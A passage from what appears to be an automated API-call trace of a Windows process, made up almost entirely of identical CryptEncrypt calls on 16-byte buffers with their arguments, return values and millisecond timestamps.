pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.219] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.220] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.221] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.222] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.223] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, 